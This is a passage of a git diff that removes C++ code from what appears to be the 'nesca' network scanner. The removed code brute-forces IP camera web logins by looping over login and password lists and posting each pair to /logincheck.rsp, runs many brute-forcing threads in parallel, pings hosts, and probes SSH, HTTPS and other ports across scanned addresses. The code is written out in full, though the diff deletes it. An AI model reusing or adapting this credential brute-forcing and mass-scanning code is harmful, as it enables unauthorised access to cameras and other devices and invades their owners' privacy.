- strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); - - } - else if(strcmp(SPEC, "IEORFOREFOX") == 0) - { - strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); - strcat(request, ip); - if(port != 80){ - strcat(request, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(request, tbuff); - }; - strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); - int loginLength = strlen(login); - int passLength = strlen(pass); - int sz = loginLength + passLength + strlen("username=&userpwd="); - char *passString = new char[sz + 1]; - ZeroMemory(passString, sizeof(passString)); - strcpy(passString, "username="); - strcat(passString, login); - strcat(passString, "&userpwd="); - strcat(passString, pass); - strcat(request, "\r\nContent-Length: "); - char tempBuff[16] = {0}; - sprintf(tempBuff, "%d", sz); - strcat(request, tempBuff); - strcat(request, "\r\n\r\n"); - strcat(request, passString); - delete []passString; - }; - - int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); - - if(res == 1) - { - isActive = 0; - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - return lps; - } - else if(res == -1) - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - ++passCounter; - }; - }; - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; -}; -lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); - - BConInc(); - lopaStr res = _IPCameraBrute(ip, port, SPEC); - BConDec(); - - return res; -} - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -int _pingMyTarget(char *ip) -{ - HANDLE hIcmpFile; - unsigned long ipaddr = INADDR_NONE; - DWORD dwRetVal = 0; - char SendData[32] = "Data Buffer"; - LPVOID ReplyBuffer = NULL; - DWORD ReplySize = 0; - - ipaddr = inet_addr(ip); - - if (ipaddr == INADDR_NONE) - { - stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); - return 0; - } - - hIcmpFile = IcmpCreateFile(); - if (hIcmpFile == INVALID_HANDLE_VALUE) - { - stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); - return 0; - } - - ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); - ReplyBuffer = (VOID*) malloc(ReplySize); - if (ReplyBuffer == NULL) - { - stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); - return 0; - } - - - dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), - NULL, ReplyBuffer, ReplySize, gPingTimeout); - if (dwRetVal != 0) { - PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; - struct in_addr ReplyAddr; - ReplyAddr.S_un.S_addr = pEchoReply->Address; - printf("\tSent icmp message to %s\n", "127.0.0.1"); - if (dwRetVal > 1) - { - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); - } - else - { - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); - } - - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); - return 1; - } - else - { - printf("\tCall to IcmpSendEcho failed.\n"); - printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); - if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); - return 0; - }; -}; -#else - -#define DEFDATALEN (64-ICMP_MINLEN) /* default data length */ -#define MAXIPLEN 60 -#define MAXICMPLEN 76 -#define MAXPACKET (65536 - 60 - ICMP_MINLEN)/* max packet size */ - -int _pingMyTarget(char* target) -{ - int s, i, cc, packlen, datalen = DEFDATALEN; - struct hostent *hp; - struct sockaddr_in to, from; - struct ip *ip; - u_char *packet, outpack[MAXPACKET]; - char hnamebuf[MAXHOSTNAMELEN]; - string hostname; - struct icmp *icp; - int ret, fromlen, hlen; - fd_set rfds; - struct timeval tv; - int retval; - struct timeval start, end; - int end_t; - bool cont = true; - - to.sin_family = AF_INET; - - // try to convert as dotted decimal address, else if that fails assume it's a hostname - to.sin_addr.s_addr = inet_addr(target); - if (to.sin_addr.s_addr != (u_int)-1) - hostname = string(target); - else - { - hp = gethostbyname(target); - if (!hp) - { - cerr << "unknown host "<< target << endl; - return -1; - } - to.sin_family = hp->h_addrtype; - bcopy(hp->h_addr, (caddr_t)&to.sin_addr, hp->h_length); - strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1); - hostname = hnamebuf; - } - packlen = datalen + MAXIPLEN + MAXICMPLEN; - if ( (packet = (u_char *)malloc((u_int)packlen)) == NULL) - { - cerr << "malloc error\n"; - return -1; - } - - if ( (s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) - { - perror("socket"); /* probably not running as superuser */ - return -1; - } - - icp = (struct icmp *)outpack; - icp->icmp_type = ICMP_ECHO; - icp->icmp_code = 0; - icp->icmp_cksum = 0; - icp->icmp_seq = 12345; /* seq and id must be reflected */ - icp->icmp_id = getpid(); - - - cc = datalen + ICMP_MINLEN; - icp->icmp_cksum = in_cksum((unsigned short *)icp,cc); - - gettimeofday(&start, NULL); - - i = sendto(s, (char *)outpack, cc, 0, (struct sockaddr*)&to, (socklen_t)sizeof(struct sockaddr_in)); - if (i < 0 || i != cc) - { - if (i < 0) - perror("sendto error"); - cout << "wrote " << hostname << " " << cc << " chars, ret= " << i << endl; - } - - // Watch stdin (fd 0) to see when it has input. - FD_ZERO(&rfds); - FD_SET(s, &rfds); - // Wait up to one seconds. - tv.tv_sec = 1; - tv.tv_usec = 0; - - while(cont) - { - retval = select(s+1, &rfds, NULL, NULL, &tv); - if (retval == -1) - { - perror("select()"); - return -1; - } - else if (retval) - { - fromlen = sizeof(sockaddr_in); - if ( (ret = recvfrom(s, (char *)packet, packlen, 0,(struct sockaddr *)&from, (socklen_t*)&fromlen)) < 0) - { - perror("recvfrom error"); - return -1; - } - - // Check the IP header - ip = (struct ip *)((char*)packet); - hlen = sizeof( struct ip ); - if (ret < (hlen + ICMP_MINLEN)) - { - cerr << "packet too short (" << ret << " bytes) from " << hostname << endl;; - return -1; - } - - // Now the ICMP part - icp = (struct icmp *)(packet + hlen); - if (icp->icmp_type == ICMP_ECHOREPLY) - { - cout << "Recv: echo reply"<< endl; - if (icp->icmp_seq != 12345) - { - cout << "received sequence # " << icp->icmp_seq << endl; - continue; - } - if (icp->icmp_id != getpid()) - { - cout << "received id " << icp->icmp_id << endl; - continue; - } - cont = false; - } - else - { - cout << "Recv: not an echo reply" << endl; - continue; - } - - gettimeofday(&end, NULL); - end_t = 1000000*(end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec); - - if(end_t < 1) - end_t = 1; - - cout << "Elapsed time = " << end_t << " usec" << endl; - return end_t; - } - else - { - cout << "No data within one seconds.\n"; - return 0; - } - } - return 0; -} - -uint16_t in_cksum(uint16_t *addr, unsigned len) -{ - uint16_t answer = 0; - /* - * Our algorithm is simple, using a 32 bit accumulator (sum), we add - * sequential 16 bit words to it, and at the end, fold back all the - * carry bits from the top 16 bits into the lower 16 bits. - */ - uint32_t sum = 0; - while (len > 1) { - sum += *addr++; - len -= 2; - } - - // mop up an odd byte, if necessary - if (len == 1) { - *(unsigned char *)&answer = *(unsigned char *)addr ; - sum += answer; - } - - // add back carry outs from top 16 bits to low 16 bits - sum = (sum >> 16) + (sum & 0xffff); // add high 16 to low 16 - sum += (sum >> 16); // add carry - answer = ~sum; // truncate to 16 bits - return answer; -} -#endif -QString strIP; -QString strPort; -const char *buff1 = "GET / HTTP/1.1\r\nHost: "; -const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; -int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) -{ - char banner[256] = {0}; - strncpy(banner, _get_ssh_banner(ip, port), 256); - if(strlen(banner) > 0) - { - return _EstablishSSHConnection(ip, port, CSTR, banner); - }; -}; -int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) -{ - if(gPingNScan) - { - if(_pingMyTarget(ip) == 0) - { - return -2; - }; - }; - - char mes[512] = {0}; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - - int strFlag = 0; - strcpy(mes, buff1); - strcat(mes, ip); - int port = atoi(portC); - if(port != 80){ - strcat(mes, ":"); - strcat(mes, portC); - }; - strcat(mes, buff2); - int cRes; - - if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); - else if(port == 22) cRes = _SSHLobby(ip, port, &CSTR); - else cRes = _EstablishConnection(ip, port, mes, &CSTR); - int size = CSTR.size; - - if(cRes == -2) return -2; - - if(size > 0 && cRes != -1) - { - ++Alive; - ++found; - stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); - - Lexems lx; - lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - - if(CSTR.lowerBuff != NULL) - { - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; - strFlag = 1; -}; diff --git a/main.cpp b/main.cpp index 7fd5c26..744d5fb 100644 --- a/main.cpp +++ b/main.cpp @@ -1,7 +1,7 @@ #include "nesca_3.h" #include #include -#if defined(Q_OS_WIN32) +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include #endif